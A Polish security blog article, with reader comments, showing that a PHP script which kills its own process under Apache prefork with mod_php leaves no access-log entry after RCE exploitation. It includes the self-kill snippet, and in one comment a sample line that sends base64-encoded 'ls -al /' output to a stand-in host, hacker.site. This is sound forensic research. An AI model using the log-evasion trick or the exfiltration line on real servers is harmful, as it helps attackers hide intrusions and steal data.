Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Dlaczego nie zawsze można ufać logom serwera WWW?
Nakreślenie sytuacji
Przypuśćmy, że dokonujemy analizy powłamaniowej serwera i udaje się stwierdzić następujące fakty:
- dostęp z zewnątrz możliwy jest jedynie poprzez aplikację webową, a serwer WWW jest uruchomiony z uprawnieniami nieuprzywilejowanego użytkownika,
- aplikacja jest nieaktualna i zawiera publicznie znaną podatność RCE (zdalne wykonanie kodu),
- pliki access_log, error_log mają odpowiednie uprawnienia i nie ma w nich śladów wykorzystania podatności.
Czy w takiej sytuacji możemy sądzić, że wektor ataku był inny? Okazuje się, że niekoniecznie, ponieważ możliwe jest, że atakujący zdobył root’a i zmodyfikował logi. Co jednak w przypadku gdy serwer jest odpowiednio skonfigurowany i wykluczymy taką możliwość? Mogłoby się wydawać, że należy szukać gdzie indziej, jednak ja zadałem sobie pytanie: co jeśli zapytania nie zostały zalogowane? Pytanie może wydać się absurdalne, jednak podszedłem do tematu poważnie.
Poszukiwanie odpowiedzi w internecie
Pierwszym krokiem był research w internecie, a jedynym punktem zaczepienia było pytanie na StackOverflow. Autor pytał o możliwość, w której serwer nie loguje niektórych zapytań, jednakże nie została udzielona żadna odpowiedź.
Poszukiwanie odpowiedzi na własną rękę
Przystąpiłem do działań samemu: udałem się do dokumentacji Apache, aby dowiedzieć się więcej o pliku access_log. Już pierwsze zdanie okazało się ciekawe:
Dla weryfikacji sprawdziłem jeszcze dokumentacje nginxa a tam:
Możemy z tego wywnioskować, że logi zapisywane są jedynie dla zapytań, które zostały przetworzone (processed). Potwierdza to również przykładowy wpis:
127.0.0.1 - - [13/Jul/2018:07:14:12 +0000] "GET /index.php HTTP/1.1" 200 29
Liczba 200 oznacza status, zatem spróbujmy znaleźć sytuację, w której serwer przerwie przetwarzanie i nie zwróci żadnej odpowiedzi.
Środowisko testowe
Wybieramy najłatwiejszą i bodajże najpopularniejszą konfigurację serwera WWW: Apache + PHP, gdzie Apache korzysta z MPM’a typu prefork i komunikuje się z PHP za pomocą wbudowanego modułu.
Rozważmy różne sposoby przerwania przetwarzania kodu:
- błąd składni
- rzucenie wyjątku
- exit()
- die()
tiggererror()trigger_error()- __haltcompiler()
- zabicie procesu (np. przez samego siebie)
Dla każdego sposobu przygotowany zostaje plik, przykładowo 01_syntaxerror.php:
<?php asd echo "This line should not be executed!";
Całość zostaje zamknięta w kontenerach Dockerowych, z przekierowaniem plików access_log, error_log na standardowe wyjście. Do tego zostają dodane skrypty, które umożliwiają pełną automatyzację testów. Użyty kod dostępny jest w publicznym repozytorium andrzej1_1/rce-weblogs-bypass.
Testy
Uruchomienie skryptu run.sh zwraca. następujące logi:
apache_prefork-mod_php_1 | Testing started apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | # Testing 01_syntaxerror.php apache_prefork-mod_php_1 | [Sat Jul 14 11:18:04.230715 2018] [php7:emerg] [pid 14] [client 127.0.0.1:33806] PHP Parse error: syntax error, unexpected 'echo' (T_ECHO) in /srv/http/01_syntaxerror.php on line 3 apache_prefork-mod_php_1 | 127.0.0.1 - - [14/Jul/2018:11:18:04 +0000] "GET /01_syntaxerror.php HTTP/1.1" 500 - apache_prefork-mod_php_1 | ------------ apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | # Testing 02_exception.php apache_prefork-mod_php_1 | [Sat Jul 14 11:18:05.239377 2018] [php7:error] [pid 17] [client 127.0.0.1:33808] PHP Fatal error: Uncaught Exception: error in /srv/http/02_exception.php:2\nStack trace:\n#0 {main}\n thrown in /srv/http/02_exception.php on line 2 apache_prefork-mod_php_1 | 127.0.0.1 - - [14/Jul/2018:11:18:05 +0000] "GET /02_exception.php HTTP/1.1" 500 - apache_prefork-mod_php_1 | ------------ apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | # Testing 03_exit.php apache_prefork-mod_php_1 | 127.0.0.1 - - [14/Jul/2018:11:18:06 +0000] "GET /03_exit.php HTTP/1.1" 200 - apache_prefork-mod_php_1 | ------------ apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | # Testing 04_die.php apache_prefork-mod_php_1 | 127.0.0.1 - - [14/Jul/2018:11:18:07 +0000] "GET /04_die.php HTTP/1.1" 200 - apache_prefork-mod_php_1 | ------------ apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | # Testing 05_triggererror.php apache_prefork-mod_php_1 | [Sat Jul 14 11:18:08.262572 2018] [php7:error] [pid 18] [client 127.0.0.1:33814] PHP Fatal error: Cannot divide by zero in /srv/http/05_triggererror.php on line 2 apache_prefork-mod_php_1 | 127.0.0.1 - - [14/Jul/2018:11:18:08 +0000] "GET /05_triggererror.php HTTP/1.1" 500 - apache_prefork-mod_php_1 | ------------ apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | # Testing 06_haltcompiler.php apache_prefork-mod_php_1 | 127.0.0.1 - - [14/Jul/2018:11:18:09 +0000] "GET /06_haltcompiler.php HTTP/1.1" 200 - apache_prefork-mod_php_1 | ------------ apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | # Testing 07_selfkill.php apache_prefork-mod_php_1 | ------------ apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | # Testing 99_base.php apache_prefork-mod_php_1 | 127.0.0.1 - - [14/Jul/2018:11:18:12 +0000] "GET /99_base.php HTTP/1.1" 200 29 apache_prefork-mod_php_1 | ------------ apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | apache_prefork-mod_php_1 | All files has been tested!
Jak widać, większość skryptów pozostawiła za sobą ślad, a tylko 07_selfkill.php nie poskutkował powstaniem żadnego wpisu. Oto jego zawartość:
<?php exec('kill ' . getmypid()); echo "This line should not be executed!";
Działanie kodu jest proste: na aktualnym procesie wykonywane jest polecenie kill.
Dalsze testy
Udało się wykonać skrypt, który nie zostawił żadnego śladu, jednakże warto zweryfikować czy w przypadku innych konfiguracji zachowanie będzie identyczne. Innych sposobów na uruchomienie serwera obsługującego PHP jest wiele, gdyż mamy do wyboru różne serwery i interfejsy do komunikacji. W przypadku Apache’a dodatkowo możemy wybrać różne moduły przetwarzania (MPMs), z których stabilne są prefork, worker i event. Z racji ogromu możliwości, przetestujemy najpopularniejsze z nich:
- Apache (prefork MPM) + mod_php (tę konfigurację już przetestowaliśmy)
- Apache (prefork MPM) + FastCGI
- Apache (worker MPM) + FastCGI
- Apache (event MPM) + FastCGI
- Apache (prefork MPM) + FPM
- Apache (worker MPM) + FPM
- Apache (event MPM) + FPM
- nginx + FastCGI
- nginx + FPM
Do każdej konfiguracji został stworzony osobny kontener, a uruchomienie skryptu run.sh powoduje przetestowanie każdej z nich i wygenerowanie rezultatów w postaci plików z logami.
Jednakże po uruchomieniu testów i przejrzeniu rezultatów okazuje się, że wszystkie konfiguracje poza pierwszą są „odporne” na rozważone metody.
Wnioski
Z testów wynika, że konfiguracja Apache z modułem prefork oraz mod_php pozwala na obejście logowania zapytań, w przypadku gdy mamy do czynienia z podatnością RCE. Na pewno nie jest to często spotykana sytuacja, aczkolwiek warto wiedzieć, że taki „trik” istnieje.
– Andrzej Broński, hackuje w Securitum
Dlatego:
1) logujesz zapytania za pomocą np. Bro (z ruchu sieciowego do serwerów WWW)
2) logujesz zapytania na poziomie proxy przed serwerami WWW (często stosowane w cale np. cache’owania statycznego contentu)
3) logujesz ruch sieciowy do pcap, który w trybie ciągły, okresowym lub ad-hoc jest procesowany przez Bro, konwertując ruch do pliku http.log.
Rozwiązanie nr 1 i nr 3 sprawia, że bez względu na to jak różne są serwery WWW i jak różna jest ich konfiguracja oraz format/zawartość logów, to mamy zunifikowany względem formatu i zawartości plik http.log.
Dodatkowo takie rozwiązanie pozwala na analizę powłamaniową nawet jeśli serwer WWW został skutecznie zaatakowany, a logi uszkodzone/usunięte.
Przy okazji jakie rozwiazania na zdalne logi polecacie? Fajnie cos w chmurze jakby bylo ;)
Drogi Sekuraku,
wielki plus za udostepnienie takiej ciekawostki, szkoda ze tak rzadko. Merytoryka – szacun. Daj wiecej
triki podane na lśniącej tacy, właśnie za to lubie sekuraka :)
A czemu w php, exec nie jest wylaczone?
Celem było zbadanie najpopularniejszych konfiguracji serwera, a domyślnie funkcje typu exec() nie są wyłączone.
jest chyba błąd w pisowni:
tiggererror()
nie chodzi przypadkiem o funkcję „trigger_error()”?
Zgadza się, poprawione.
To ma nie tyle związek ze sposobem uruchamiania procesów PHP, co z uprawnieniami na jakich są te procesy uruchamiane. Podejrzewam że na każdej konfiguracji udałoby się coś takiego osiągnąć gdyby procesy PHP i webserwer działały na tym samym użytkowniku, a proces PHP spróbowałby ubić webserwer zamiast samego siebie. W przypadku mod_php jest najprościej, bo tu nie ma podziału na PHP i webserwer i wszystko jest w jednym procesie, ale jeśli ktoś skopie kwestię uprawnień, to prawdopodobnie każda wymieniona tu konfiguracja może być podatna na ten sam atak.
Zarówno w przypadku mod_php jak i innych konfiguracji występuje podział na osobne procesy. Zwróc uwagę, że domyślnie działają one na innych użytkownikach:
– główny proces serwera (master): konto root
– procesy zajmujące się przetwarzaniem zapytań (workers): nieuprzywilejowane konto, np. http
Tak więc, ktoś musiałby się nieźle wysilić, żeby skopać konfiguracje i umożliwić ubicie całego webserwera.
Nie musisz ubijać całego webserwera, wystarczy ubić proces, który przetwarza to aktualne żądanie (tak samo jak w przypadku mod_php też nie ubijasz całego webserwera a konkretny proces obsługujący żądanie). Ten proces będzie na nieuprzywilejowanym użytkowniku i potencjalnie tym samym co proces PHP (np na Ubuntu w domyślnej konfiguracji apache i php-fpm działają na tym samym użytkowniku – www-data). Z perspektywy uprawnień i sposobu działania sytuacja nie różni się niczym od ubicia samego siebie przez proces z mod_php (poza tym że nie znamy ID procesu więc pewnie trzeba próbować ubijać wszystkie procesy webserwera z pasującym użytkownikiem).
Wrzućcie linki do bugreportów w apache/php… bo zakładam, że problem zgłoszony?
Wydaje się, że kill na procesie (apache+mod_php) jest do ogarnięcia bo rodzicowi apache od tak zniknie proces (a informacje o dzieciach trzyma w scoreboardzie). Mógłby to apache logować.
Sam też się dziwię, że główny process Apache’a nie loguje tego że ginie mu proces potomny.
Linków póki co nie będzie, ponieważ nie było dla mnie jasne czy traktować to jako zwykły bug, czy może dość specyficzną lukę bezpieczeństwa i ostatecznie zdecydowałem się na niepubliczne zgłoszenia. Artykuł będzie aktualizowany, gdy zmieni się ich status.
A czy coś oprócz `exec(’kill ’ . getmypid());` można wykonać i nie będzie to zalogowane ?
Tak, wcześniej można wykonać dowolny kod, np. taki który wyśle nam wylistowaną zawartość głównego katalogu:
$cmd_result = shell_exec('ls -al /');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));